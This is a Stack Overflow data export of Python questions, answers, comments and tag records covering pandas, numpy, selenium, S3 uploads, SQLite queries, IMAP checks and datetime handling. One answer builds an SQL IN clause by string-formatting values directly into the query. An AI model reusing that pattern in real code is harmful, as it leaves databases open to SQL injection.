http://stackoverflow.com/comment/86011494
has text: @AdrianoMartins sorry we are here to solve problems not answer homework questions. Furthermore, your initial answer was `sum(['it', 'it', ..., 'it'])`, I don't think you have much of a claim for being condescending.
type: Comment
score: 2
type: QuestionComment
comment on: http://stackoverflow.com/q/49503617

http://stackoverflow.com/a/49464829
score: 0
answers question: http://stackoverflow.com/q/49464719
type: Answer
has body: To achieve that you'll need to get the index value for the point you want to insert your value. def insert_after(myList, i, j): try: myList.insert(myList.index(i)+1, j) except ValueError: myList.append(j) You can read a bit more on lists here; https://docs.python.org/2/tutorial/datastructures.html

http://stackoverflow.com/comment/86134081
has text: @Barmar It took some time to paste the output sir. Sorry for the delay.
type: QuestionComment
comment on: http://stackoverflow.com/q/49562458
type: Comment
score: 0

http://stackoverflow.com/q/49487121
tagged with: selenium
downvote count: 1
favorite count: 0
type: Question
tagged with: xpath
has answer: http://stackoverflow.com/a/49487258
has answer: http://stackoverflow.com/a/49487445
type: UnansweredQuestion
has body: I have a question about click button on a pop-up window. The GUI as below: GUI HTML content as below: HTML I'm trying to use python selenium to click the "OK" button in many ways: For example: driver.switch_to_alert() driver.find_element_by_id("YesBtn").click() or driver.switch_to_alert() driver.find_element_by_xpath("//div[@id='YesBtn']").click() or driver.switch_to_alert() driver.find_element_by_xpath("//input[@id='YesBtn']/html/body/div/div/div/div/div[3]").click() But I always get error message like: Unable to locate element: {"method":"id","selector":"YesBtn"} Is there anyone can help me to correct the code? Many thanks.
score: 5
has title: How to click on a button within a pop-up window with python selenium?
tagged with: python
upvote count: 6
has comment: http://stackoverflow.com/comment/85976916
tagged with: selenium-webdriver
answer count: 2

http://stackoverflow.com/q/49452026
has comment: http://stackoverflow.com/comment/85909870
tagged with: amazon-s3
upvote count: 3
has title: Uploading a zip fileobj to S3 - KeyError: There is no item named 8388608 in the archive
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/85910268
linked to: http://stackoverflow.com/q/3610221
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49453814
tagged with: http://stackoverflow.com/tag/zip
score: 3
has body: I am trying to make an in-memory zip file, which contains a bunch of JSON files. I am struggling to upload it to S3 as a file object, receiving a rather strange error. Here is my code: import boto3 import zipfile import json import os session = boto3.session.Session( aws_access_key_id=os.environ.get('AWS_ACCESS_KEY_ID'), aws_secret_access_key=os.environ.get('AWS_SECRET_ACCESS_KEY')) client = session.client('s3') data = {'test1.json': {'a': 1, 'b': 2}, 'test2.json': {'x': 3, 'y': 4}} zip_buffer = BytesIO() zf = zipfile.ZipFile(zip_buffer, 'w') for filename, d in data.iteritems(): zf.writestr(filename, json.dumps(d, indent=4)) client.upload_fileobj(zf, os.environ.get('S3_BUCKET'), 'test_zip.zip') This gives me: KeyError: 'There is no item named 8388608 in the archive' How and why is this happening? Of course there is no item 8388608 in the archive - I haven't put it there. EDIT If I save the file locally instead of in-memory and then re-open it, it works fine. Should I be using tempfile perhaps?
tagged with: python
accepted answer: http://stackoverflow.com/a/49453814
tagged with: boto3
has comment: http://stackoverflow.com/comment/85910145
has comment: http://stackoverflow.com/comment/85909968
has comment: http://stackoverflow.com/comment/85909799
type: AnsweredQuestion

http://stackoverflow.com/q/49491305
has comment: http://stackoverflow.com/comment/86013336
type: Question
has body: How do I convert a timezone aware date string from value to save in postgresql datetime and retrieve in local time. What I tried using api: new_data['mdate'] = request.json.get('mdate') The value entered is: 03/27/2018 3:03 PM %m/%d/%YT%H:%Y and the 'AM' / 'PM' string, If this is edited, while trying to resave it has changed to: 2018-03-29T15:03+14:00. How to convert the +14 part of this format to local timezone and display back. The error I get is : &gt; new_data['due_date'].rsplit('+')[0],'%m/%d/%YT%H:%M') File &gt; "/usr/lib/python2.7/_strptime.py", line 332, in _strptime &gt; (data_string, format)) &gt; &gt; ValueError: time data '2018-03-29T15:03' does not match format &gt; '%m/%d/%YT%H:%M'
has title: Datetime conversion from string to postgresql datetime using python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85986744
tagged with: datetime
tagged with: python
has comment: http://stackoverflow.com/comment/86014480
tagged with: postgresql
answer count: 0
score: 1
has comment: http://stackoverflow.com/comment/86014754
downvote count: 0
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/86122199
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49557217
type: QuestionComment
has text: Update the question with the relevant _HTML_ and the error stack trace.

http://stackoverflow.com/comment/85920063
type: QuestionComment
comment on: http://stackoverflow.com/q/49458533
score: 1
type: Comment
has text: Welcome to Stack Overflow. Please take the [tour], read about [ask], particularly how to create a [mcve].

http://stackoverflow.com/a/49470393
has body: We can't tell the difference or locate the circle if color of circle and background remains same. Since you were using the global colo hence it was not visible. import cv2 import numpy as np def nothing(x): pass colo = (0,0,255) radius = 5 def draw_circle(event,x,y,flags,param): global colo,radius if event == cv2.EVENT_MOUSEMOVE: # print(str(colo) + " " + str(radius)) cv2.circle(img,(x,y),radius,(0,0,255),-1) # Create a black image, a window img = np.zeros((300,512,3), np.uint8) cv2.namedWindow('image') cv2.setMouseCallback('image',draw_circle) # create trackbars for color and radius change cv2.createTrackbar('Red','image',0,255,nothing) cv2.createTrackbar('Green','image',0,255,nothing) cv2.createTrackbar('Blue','image',0,255,nothing) cv2.createTrackbar('CirRadius','image',5,50,nothing) # create switch for ON/OFF functionality switch = '0 : OFF \n1 : ON' cv2.createTrackbar(switch, 'image',0,1,nothing) while(1): cv2.imshow('image',img) # get current positions of five trackbars r = cv2.getTrackbarPos('Red','image') g = cv2.getTrackbarPos('Green','image') b = cv2.getTrackbarPos('Blue','image') s = cv2.getTrackbarPos(switch,'image') radius = cv2.getTrackbarPos('CirRadius','image') colo = (b,g,r) if s == 0: img[:] = 0 else: img[:] = [b,g,r] k = cv2.waitKey(1) &amp; 0xFF if k == 27: break cv2.destroyAllWindows()
downvote count: 0
upvote count: 1
type: AcceptedAnswer
score: 1
accepted answer of: http://stackoverflow.com/q/49463819
type: Answer
answers question: http://stackoverflow.com/q/49463819

http://stackoverflow.com/a/49514819
downvote count: 0
score: 1
upvote count: 1
has body: Try installing a precompiled version from here, select the wheel file for your python version, download it and then do pip install &lt;name of wheel file&gt;
type: Answer
answers question: http://stackoverflow.com/q/49513255
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49513255

http://stackoverflow.com/q/49444510
tagged with: python
tagged with: numpy
has title: convert rgb images to ycbcr in using for loop gives an TypeError
tagged with: for-loop
type: AnsweredQuestion
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/49448085
tagged with: opencv
has answer: http://stackoverflow.com/a/49448085
type: Question
has body: I want to access images in my directory and convert them from RGB to YCbCr using a for loop. I am not good at programming and doing what I can. I have this code below: import numpy as np import cv2, os from glob import glob path= 'the_path_to_the_images' for filename in os.listdir(path): ycbcr = cv2.cvtColor(filename, cv2.COLOR_BGR2YCrCb) cv2.imwrite( filename, ycbcr) This throws an error: TypeError: src is not a numpy array, neither a scalar I have searched some ways to solve it but I couldn't. How should I fix this? OR, could anyone please share an alternative way to accomplish my goal here?

http://stackoverflow.com/q/49530029
tagged with: pandas
tagged with: subset
downvote count: 1
has answer: http://stackoverflow.com/a/49551695
possible better answer: http://stackoverflow.com/a/49551695
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49531030
type: AnsweredQuestion
upvote count: 3
has body: I have a two columns which show the sentiment analysis for positive and negative scores. Here's the output: scat=btweet'sentiment_pos', 'sentiment_negative' scat sentiment_pos sentiment_negative 0.286 0.000 0.451 0.000 0.143 0.300 0.151 0.100 I want to get top biggest values from each column, I tried to that, But only got the biggest value for one column. scat.nlargest(4, 'sentiment_pos') sentiment_pos sentiment_negative 0.451 0.000 0.286 0.000 0.151 0.300 0.143 0.100 My output should be like this sentiment_pos sentiment_negative 0.451 0.300 0.286 0.100 0.151 0.000 0.143 0.000 Can anyone help me write the code for it?
tagged with: python
has answer: http://stackoverflow.com/a/49531030
score: 2
tagged with: numpy
answer count: 2
has title: Get top 4 biggest values from each column using Pandas in Python

http://stackoverflow.com/q/49536460
accepted answer: http://stackoverflow.com/a/49538308
has comment: http://stackoverflow.com/comment/86089269
has body: This is my query using code found perusing this site: query="""SELECT Family FROM Table2 INNER JOIN Table1 ON Table1.idSequence=Table2.idSequence WHERE (Table1.Chromosome, Table1.hg19_coordinate) IN ({seq}) """.format(seq=','.join(['?']*len(matchIds_list))) matchIds_list is a list of tuples in (?,?) format. It works if I just ask for one condition (ie just Table1.Chromosome as oppose to both Chromosome and hg_coordinate) and matchIds_list is just a simple list of single values, but I don't know how to get it to work with a composite key or both columns.
answer count: 1
tagged with: python
type: AnsweredQuestion
downvote count: 0
upvote count: 1
score: 1
tagged with: sqlite
has title: Trying to SELECT row by long list of composite primary keys in SQLite
has comment: http://stackoverflow.com/comment/86091952
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49538308

http://stackoverflow.com/comment/86509095
has text: <t t-esc="birthday_count"/>
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49528092
type: Comment

http://stackoverflow.com/q/49552209
accepted answer: http://stackoverflow.com/a/49552589
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49552589
has comment: http://stackoverflow.com/comment/86111726
upvote count: 2
has body: I have a small issue with data cleaning. I have the date/month without the year and I want to add the year to it. I need to check if this date is from this year i.e. 2018 and if the month is January, February or March. If not check from 2017. My data is exactly from April 2017, hence I think this crude method will work, any suggestion will be appreciated. I have added my code but wondering if there is some nicer way to do this Input: "15 March" Desired output: "15 March 2018" My code! from datetime import date from dateutil import parser test = "15 March" ico = parser.parse(test) #print(ico.month) today = date.today() diff = abs(today.month - ico.month) print(diff) if diff &lt;= 3: print(test + " 2018") else: print(test + " 2017")
downvote count: 0
answer count: 1
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: datetime
tagged with: python
has title: Add year to date

http://stackoverflow.com/comment/85948119
has text: Hints: to open a file, call `open`. To do something for every single line in a file, that's `for line in file`. To split a line, that's `line.split` (although again, you may want to consider `for line in csv.reader(file)`). To create three new lists out of one list of 3-lists, that's `z, c, s = zip(rows)`.
type: Comment
score: 1
comment on: http://stackoverflow.com/q/49472791
type: QuestionComment

http://stackoverflow.com/a/49566604
has comment: http://stackoverflow.com/comment/86141635
upvote count: 3
has comment: http://stackoverflow.com/comment/86141727
downvote count: 0
has comment: http://stackoverflow.com/comment/86141505
has comment: http://stackoverflow.com/comment/86141946
score: 3
has comment: http://stackoverflow.com/comment/86142515
has comment: http://stackoverflow.com/comment/86141679
type: Answer
answers question: http://stackoverflow.com/q/49566474
has body: Numpy has a char.replace method (see docs). All you need to do is this: genes = np.char.replace(genes, 'A', '1') genes = np.char.replace(genes, 'C', '2') genes = np.char.replace(genes, 'G', '4') genes = np.char.replace(genes, 'T', '8') To convert this to an int array, genes = genes.astype(int) you can then use bitwise operations on the arrays. As pointed out in the comments, the resulting sequence is limited in length. A way to solve this: genes = np.char.replace(genes, 'A', '1') genes = np.char.replace(genes, 'C', '2') genes = np.char.replace(genes, 'G', '4') genes = np.char.replace(genes, 'T', '8') &gt;&gt;&gt; genes array([['12481248'], ['12481248']], dtype='|S8') Insert a comma between the numbers genes = np.char.join(',', genes) &gt;&gt;&gt; genes array([['1,2,4,8,1,2,4,8'], ['1,2,4,8,1,2,4,8']], dtype='|S15') Split based on the comma and convert back to a purely np.char.array genes = np.char.array(np.char.split(genes, ',')) &gt;&gt;&gt; genes chararray([[['1', '2', '4', '8', '1', '2', '4', '8']], [['1', '2', '4', '8', '1', '2', '4', '8']]], dtype='|S1') Convert to an int array: genes = np.array(genes, dtype=int) &gt;&gt;&gt; genes array([[[1, 2, 4, 8, 1, 2, 4, 8]], [[1, 2, 4, 8, 1, 2, 4, 8]]]) Remove the intermediate dimension of size 1: genes = genes.reshape(list(genes.shape[:-2]) + [genes.shape[-1]]) &gt;&gt;&gt; genes array([[1, 2, 4, 8, 1, 2, 4, 8], [1, 2, 4, 8, 1, 2, 4, 8]])

http://stackoverflow.com/q/49519960
type: Question
upvote count: 9
score: 9
tagged with: apache-beam
tagged with: python
tagged with: google-cloud-dataflow
has comment: http://stackoverflow.com/comment/118793026
type: AnsweredQuestion
has body: We've found experimentally that setting an explicit # of output shards in Dataflow/Apache Beam pipelines results in much worse performance. Our evidence suggests that Dataflow secretly does another GroupBy at the end. We've moved to letting Dataflow select the # of shards automatically (shards=0). However, for some pipelines this results in a huge number of relatively small output files (~15K files, each &lt;1MB). Is there anyway to send hints to Dataflow about the expected size of the outputs so it can scale accordingly? We notice that this problem happens mostly when the input dataset is quite large and the output is much smaller. We're using Apache Beam Python 2.2.
answer count: 1
has title: Controlling Dataflow/Apache Beam output sharding
downvote count: 0
has answer: http://stackoverflow.com/a/49561921
accepted answer: http://stackoverflow.com/a/49561921
favorite count: 0

http://stackoverflow.com/a/64725535
type: Answer
has comment: http://stackoverflow.com/comment/125142853
has body: If you need only the result part in the data frame, here is the code to help you: import json import pandas as pd data = json.load(open('json_file.json')) df = pd.DataFrame(data["result"]) To the best of my knowledge, the ValueError occurs because the data types are all over the place, some strings, some lists, multiple {} etc. This error may be solved by normalizing the data. To do that, here is the code below: import json with open('json_file.json') as project_file: data = json.load(project_file) df = pd.json_normalize(data)
has comment: http://stackoverflow.com/comment/125336260
downvote count: 1
answers question: http://stackoverflow.com/q/49505872
score: 8
upvote count: 9

http://stackoverflow.com/comment/86153525
score: 0
has text: Could you try using `tf.reduce_sum` for the cost?
comment on: http://stackoverflow.com/q/49560420
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86148803
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49565476
type: QuestionComment
has text: Okey, thanks, I am still getting to know this forum. Any question related to neural networks should then go to Cross Validated?

http://stackoverflow.com/comment/86008555
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49502128
has text: May be you need to wait for the page to load.

http://stackoverflow.com/q/49599279
has comment: http://stackoverflow.com/comment/86238076
favorite count: 0
has comment: http://stackoverflow.com/comment/86220319
has comment: http://stackoverflow.com/comment/86206102
has comment: http://stackoverflow.com/comment/86208465
has title: Python IMAP - how to quickly test IMAP server connection
has comment: http://stackoverflow.com/comment/86256043
has comment: http://stackoverflow.com/comment/89092564
tagged with: python
has comment: http://stackoverflow.com/comment/86215849
type: Question
has comment: http://stackoverflow.com/comment/86208470
answer count: 0
type: UnansweredQuestion
score: 1
downvote count: 0
has body: I am working on email client, and now my goal is to come up with Thunderbird-like auto-configuration functionality. To do this, I am stuck at the following: Imagine I have several possible values of the target IMAP server name, like imap.mail1.com imap.mail2.com imap.mail3.com and I have to test them one by one. It is important that I don't want to test the credentials (password). All I need is to understand that a given IMAP server name corresponds to a user mailbox. I am using IMAPClient to power up my app, but I have got no idea how to test IMAP connection. It is important to mention that this test has to respond quickly, because I in real life I have hundreds of possible options, and I can't make the user wait for ages. Any help on this ? UPDATE. As for now, I check IMAP doing this: incoming_server = 'imap.mail.ru' server = IMAPClient(incoming_server, use_uid=True, ssl=True) try: server.login(login, password) except imaplib.IMAP4.error: # Incorrect imap server This seems like overkill because this works critically slow and it seems like I do not need the password just to figure out the IMAP server name. I am sure there's more "lightweight" way to "ping" the server
upvote count: 1
tagged with: imap

http://stackoverflow.com/a/49440705
accepted answer of: http://stackoverflow.com/q/49440425
has body: If using Python >= 3.5 is an option, you might want to check out asyncio which allows you to write single-threaded, yet concurrent code. This is typically useful for handling i/o bound code such as networking. Be aware there is a bit of a learning curve if its your first time using asyncio. Once you've familiarized yourself with the basics, there is an excellent websockets module which leverages asyncio: https://pypi.python.org/pypi/websockets
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/49440425
score: 1
type: AcceptedAnswer
upvote count: 1

http://stackoverflow.com/comment/86042594
score: 0
type: AnswerComment
has text: I agree with &&&& case but not with "&&". Well thats what i tried with https://regexr.com
comment on: http://stackoverflow.com/a/49518299
type: Comment

storage
tag name: storage
tags question: http://stackoverflow.com/q/49447263
type: Tag

http://stackoverflow.com/a/49626048
has comment: http://stackoverflow.com/comment/86280448
has comment: http://stackoverflow.com/comment/86280026
type: Answer
answers question: http://stackoverflow.com/q/49581325
has body: If the GNU stat utility is available on your target platforms, then you can invoke it in a way that doesn't make use of the statfs call to detect the mount-point and then search it in the output of mount, e.g. on Linux: $ mount | grep -F `stat -c %m /boot/grub` | cut -d' ' -f5 ext2 I verified that this invocation of stat only makes use of standard system calls (see CONFORMING TO in the man page of stat(2)): $ strace stat -c %m /boot/grub/ |&amp; fgrep stat execve("/usr/bin/stat", ["stat", "-c", "%m", "/boot/grub/"], [/* 65 vars */]) = 0 fstat(3, {st_mode=S_IFREG|0644, st_size=218501, ...}) = 0 fstat(3, {st_mode=S_IFREG|0644, st_size=130224, ...}) = 0 fstat(3, {st_mode=S_IFREG|0755, st_size=1868984, ...}) = 0 fstat(3, {st_mode=S_IFREG|0644, st_size=456632, ...}) = 0 fstat(3, {st_mode=S_IFREG|0644, st_size=14608, ...}) = 0 fstat(3, {st_mode=S_IFREG|0755, st_size=138696, ...}) = 0 statfs("/sys/fs/selinux", 0x7ffe62882ff0) = -1 ENOENT (No such file or directory) statfs("/selinux", 0x7ffe62882ff0) = -1 ENOENT (No such file or directory) fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 fstat(3, {st_mode=S_IFREG|0644, st_size=5152256, ...}) = 0 lstat("/boot/grub/", {st_mode=S_IFDIR|0755, st_size=1024, ...}) = 0 lstat("/boot", {st_mode=S_IFDIR|0755, st_size=3072, ...}) = 0 lstat("/boot/grub", {st_mode=S_IFDIR|0755, st_size=1024, ...}) = 0 fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 stat("/boot/grub", {st_mode=S_IFDIR|0755, st_size=1024, ...}) = 0 stat("..", {st_mode=S_IFDIR|0755, st_size=3072, ...}) = 0 stat("..", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 stat("/boot", {st_mode=S_IFDIR|0755, st_size=3072, ...}) = 0 fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
has comment: http://stackoverflow.com/comment/86280564
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86280312
has comment: http://stackoverflow.com/comment/86277491

http://stackoverflow.com/q/49475155
has title: Ignoring multiline comments of text python files
has comment: http://stackoverflow.com/comment/85952839
has body: I'm working over python, making a function that must open a python file (it must compile), and extract the name of all functions contained on it. But it has to ignore every commented line. I tried everything and I'm not be able to do it. It includes the lines, or enter in infinite loops. My code looks right now like this: import py_compile def isPythonFile(is_python_file): try: py_compile.compile(is_python_file) return True except py_compile.PyCompileError: print(is_python_file + "does not contain syntactically correct Python code") return False def get_functions(python_file, fun_data_file): if (isPythonFile(python_file)): archivo = open(python_file, "r") contenido = archivo.readlines() contFuncs = [] isComentario = False i = 0 while (i &lt; len(contenido)): print(i) if(contenido[i].startswith("\"\"\"") or isComentario): #In this conditional I want to start ignoring multiline comments isComentario = True elif(contenido[i].startswith("#") or contenido[i].startswith("\"") or contenido[i].startswith("\'")): i += 1 elif(contenido[i].startswith("def")): contFuncs.append(contenido[i].split("#")) i += 1 else: i += 1 print(contFuncs) EDIT: For example, the test file I'm using for input is this: def funcionPrueba(self): pass def alex(self): pass # def comentada(self): # pass """def hola""" """Hola asd""" ''' Pues nosotros declaramos esta mierda como def tomaYjodete y nos la marcamos ''' 'toma ahi' "Y esta que" def monxo(self): #def hacker(): pass def cla(self): def cla2(): pass cla2() pass """ Yieeepale casiiii """ def zilveztre(self): pass enter code here It must output only defined functions: "def funcionPrueba(self), def alex(self), def monxo(self), def cla(self), def cla2(), def zilveztre(self)" This will be sorted lately, but I want only defined functions and its lines, or, as default, managed in lines.
tagged with: python
has comment: http://stackoverflow.com/comment/85953314
accepted answer: http://stackoverflow.com/a/49475520
tagged with: text
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49475520
answer count: 1
type: Question
tagged with: python-3.x

http://stackoverflow.com/comment/85885369
type: Comment
has text: No, smallest value is 0.5. @ManishSaraswat
type: QuestionComment
comment on: http://stackoverflow.com/q/49441716
score: 0

http://stackoverflow.com/a/49573065
has body: To get if the actual timezone of a time, you have to use "tm_dst" of a "time" instance. The original edition of this answer suggests using "time.daylight", but this flag is constant and doesn't change. It tells whether the "altzone" (daylight saving time offset) is set, and once it's set, "time.daylight" is always "1", no matter whether the current time is daylight saving time or not. To get the time correct time offset, you should use the following code: t = time.localtime() if t.tm_isdst == 0: tz_offset = time.timezone else: tz_offset = time.altzone The following is the original answer: Hahaha, finally I found out what I missed. I should look at Python doc more carefully. Check the following Python doc: https://docs.python.org/2/library/time.html#time.altzone It is indeed the issue of daylight saving time. I should change my code to: if time.daylight == 0: utc_time_delta = timedelta(seconds=time.timezone) else: utc_time_delta = timedelta(seconds=time.altzone) "time.timezone" doesn't change automatically, but "time.daylight" changes.
accepted answer of: http://stackoverflow.com/q/49572797
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49572797
type: Answer
score: 3
upvote count: 3
downvote count: 0

http://stackoverflow.com/q/49587043
has answer: http://stackoverflow.com/a/49587072
has comment: http://stackoverflow.com/comment/86181993
answer count: 1
has title: urllib2 downloads corrupt .jpg files
tagged with: python
has comment: http://stackoverflow.com/comment/86182034
has comment: http://stackoverflow.com/comment/86182874
has comment: http://stackoverflow.com/comment/86182280
has comment: http://stackoverflow.com/comment/86182135
has comment: http://stackoverflow.com/comment/86182705
type: Question
has comment: http://stackoverflow.com/comment/86182064
has comment: http://stackoverflow.com/comment/86182253
tagged with: urllib2
upvote count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86182329
downvote count: 1
has comment: http://stackoverflow.com/comment/86181978
favorite count: 0
has body: I have a Python program in which I need to download .jpg files from the internet. I have a while True: loop that goes through the URLs I have and downloads a file from each one. Every 20 or so files, urllib2 downloads a file that is half grey and FPDF refuses to make a PDF out of the downloaded files because of the corrupt ones. Here's my code: filename = ''.join(pageForFilename) add_image_to_list() file_ = open(filename, 'w') file_.write(data) file_.close() time.sleep(0.5) It may be useful to note that pageForFilename is page-001.jpg I thought that maybe I wasn't allowing the script to fully download a file, so I added a time.sleep(0.5), thinking that it would fix it. python 2.7 MacOS Sierra
tagged with: python-2.7
score: 0

http://stackoverflow.com/a/49628600
type: Answer
accepted answer of: http://stackoverflow.com/q/49559596
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has body: While searching high and low, I serendipitously came upon the following comment in this StackOverflow question/answer What is happening, I think, is that people are instantiating sessions and not closing them. The objects are then being garbage collected without closing the sessions. Why sqlalchemy sessions don't close themselves when the session object goes out of scope has always and will always be beyond me. @melchoir55 So I added the following the to the method that was being tested: db_session.close() Now the unittest executes without getting killed.
answers question: http://stackoverflow.com/q/49559596

http://stackoverflow.com/a/49542244
score: 0
type: Answer
answers question: http://stackoverflow.com/q/49541070
has body: Please try this and verify if it helps- sql = "SELECT * FROM database WHERE list IN (%s)" % ",".join(map(myString,List1))

http://stackoverflow.com/comment/85958563
has text: Might be better suited for [Code Review](https://codereview.stackexchange.com/).
comment on: http://stackoverflow.com/q/49478029
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86031425
type: QuestionComment
has text: Have you tried installing Microsoft Visual C++ 14 like the error suggests?
comment on: http://stackoverflow.com/q/49513255
score: 1
type: Comment

http://stackoverflow.com/comment/86139130
type: AnswerComment
comment on: http://stackoverflow.com/a/49565049
type: Comment
has text: I think your method does work. There's one thing, what if I just want to do this to several columns in the file? I tried `output = df.to_string(formatters={['growth_rate', 'growth_rate2', 'growth_rate3']: '{:,.2%}'.format})`. And I got an error: `TypeError: unhashable type: 'list'`
score: 0

http://stackoverflow.com/comment/86083156
score: 0
comment on: http://stackoverflow.com/a/49537098
type: Comment
has text: Thanks for your answer. The point is that I do not want to split the initial clumps from the generator over multiple batches. So this could work if there is a way to make the 2 variable in this line: dataset = dataset.batch(2). For this example it should be 1 (to batch [] and [1]), than 5 (to batch [2,2] and [3,3,3]) etc.
type: AnswerComment

http://stackoverflow.com/comment/86163140
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49577612
type: Comment
has text: I want MASOM for MAS and WOODEN for Wood, but I want to use if elif logic only

http://stackoverflow.com/comment/86102429
has text: problem is that the mp3 file has been opened by 'AudioSegment.from_file(fname)' because when `try` captures errors(because the mp3 file is a damaged one), it won't close the mp3 file.so in the `except` part, `os.rename` cannot rename a file that's been kept opened by another programe. because of this, you even cannot rename the file mannually.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49527339
type: AnswerComment

http://stackoverflow.com/q/49580259
accepted answer: http://stackoverflow.com/a/49580335
has answer: http://stackoverflow.com/a/49580335
favorite count: 0
possible better answer: http://stackoverflow.com/a/49580301
type: Question
tagged with: numpy
has title: Create pandas DataFrame using numpy repeat function
has answer: http://stackoverflow.com/a/49580301
tagged with: dataframe
tagged with: python
score: 4
has body: I'm trying to create a pandas DataFrame in which one of the columns makes use of the numpy repeat function multiple times. Here's how I do this in R using c and rep and it works: df &lt;- data.frame( date = seq.Date(as.Date('2018-12-01'), as.Date('2019-12-01'), by='month'), value = c(rep(0.08, 7), rep(0.06, 6)), ) Here's what I'm trying in pandas but it throws the error arrays must all be same length: import numpy as np import pandas as pd df= pd.DataFrame({ 'date': pd.date_range('2018-12-01', '2019-12-01', freq='MS'), 'value': [np.repeat(0.08, 7), np.repeat(0.06, 6)] }) How can I do this in pandas?
upvote count: 4
type: AnsweredQuestion
answer count: 2
tagged with: pandas
downvote count: 0

http://stackoverflow.com/q/49560347
upvote count: 1
score: 1
answer count: 1
tagged with: tensorflow
favorite count: 0
accepted answer: http://stackoverflow.com/a/49565369
has body: I want to add a data augmentation on the WiderFace dataset and I would like to know, how is it possible to random crop an image and only keep the bouding box of faces with the center inside the crop using tensorflow ? I have already try to implement a solution but I use TFRecords and the TfExampleDecoder and the shape of the input image is set to [None, None, 3] during the process, so no way to get the shape of the image and do it by myself.
type: Question
tagged with: python
has title: Random crop and bounding boxes in tensorflow
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49565369
downvote count: 0

http://stackoverflow.com/comment/85997156
score: 0
type: Comment
type: QuestionComment
has text: W is a matrix of size n by s isn't it? If not, how should I generate one?
comment on: http://stackoverflow.com/q/49496403

http://stackoverflow.com/a/60551035
has body: Go into your files, left click on the folder that the file is saved in. Select open in terminal, and in terminal type 'python hello.py'. This works for linux, and may work for mac because of the unix terminal.
score: 0
accepted answer of: http://stackoverflow.com/q/49591110
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49591110
has comment: http://stackoverflow.com/comment/107123801
type: Answer

http://stackoverflow.com/comment/85999668
type: Comment
type: QuestionComment
has text: Thank you. This was the answer that I wanted:)
score: 0
comment on: http://stackoverflow.com/q/49495100

http://stackoverflow.com/q/49592620
has title: How to save a PIL ImageGrab() img?
answer count: 1
has answer: http://stackoverflow.com/a/49592694
accepted answer: http://stackoverflow.com/a/49592694
has body: I want know how to save an ImageGrab() from Pillow 5.0.0, I use the Pycharm and my code is: from PIL import ImageGrab, Image m1 = ImageGrab.grabclipboard() Image.save(m1) but the image is not saved.
favorite count: 0
type: Question
upvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/86192851
score: 2
type: AnsweredQuestion
tagged with: python-imaging-library
downvote count: 0

http://stackoverflow.com/q/49504886
favorite count: 0
accepted answer: http://stackoverflow.com/a/49505622
has answer: http://stackoverflow.com/a/49505622
type: Question
tagged with: python
tagged with: pandas
type: AnsweredQuestion
tagged with: geopandas
has title: Converting a geopandas geodataframe into a pandas dataframe
has body: What is the most efficient way to convert a geopandas geodataframe into a pandas dataframe? Below is the method I use, is there another method which is more efficient or better in general at not generating errors? import geopandas as gpd import pandas as pd # assuming I have a shapefile named shp1.shp gdf1 = gpd.read_file('shp1.shp') # then for the conversion, I drop the last column (geometry) and specify the column names for the new df df1 = pd.DataFrame(gdf1.iloc[:,:-1].values, columns = list(gdf1.columns.values)[:-1] )
upvote count: 50
score: 50
downvote count: 0
answer count: 1

scikit-learn
tags question: http://stackoverflow.com/q/49541671
tags question: http://stackoverflow.com/q/49587269
tags question: http://stackoverflow.com/q/49505680
tags question: http://stackoverflow.com/q/49525618
tags question: http://stackoverflow.com/q/49592444
tags question: http://stackoverflow.com/q/49598441
tags question: http://stackoverflow.com/q/49472306
tags question: http://stackoverflow.com/q/49456424
tags question: http://stackoverflow.com/q/49479423
tags question: http://stackoverflow.com/q/49466519
tags question: http://stackoverflow.com/q/49534490
tag name: scikit-learn
tags question: http://stackoverflow.com/q/49505026
tags question: http://stackoverflow.com/q/49441872
tags question: http://stackoverflow.com/q/49446917
tags question: http://stackoverflow.com/q/49491063
tags question: http://stackoverflow.com/q/49517050
tags question: http://stackoverflow.com/q/49538120
tags question: http://stackoverflow.com/q/49504599
tags question: http://stackoverflow.com/q/49455806
tags question: http://stackoverflow.com/q/49544057
tags question: http://stackoverflow.com/q/49537687
tags question: http://stackoverflow.com/q/49476554
tags question: http://stackoverflow.com/q/49495297
tags question: http://stackoverflow.com/q/49471693
type: Tag
tags question: http://stackoverflow.com/q/49562230
tags question: http://stackoverflow.com/q/49474091
tags question: http://stackoverflow.com/q/49544509
tags question: http://stackoverflow.com/q/49593797
tags question: http://stackoverflow.com/q/49542439
tags question: http://stackoverflow.com/q/49499658
tags question: http://stackoverflow.com/q/49581104
tags question: http://stackoverflow.com/q/49558126
tags question: http://stackoverflow.com/q/49531292
tags question: http://stackoverflow.com/q/49514684
tags question: http://stackoverflow.com/q/49595971
tags question: http://stackoverflow.com/q/49462765
tags question: http://stackoverflow.com/q/49453535
tags question: http://stackoverflow.com/q/49466154
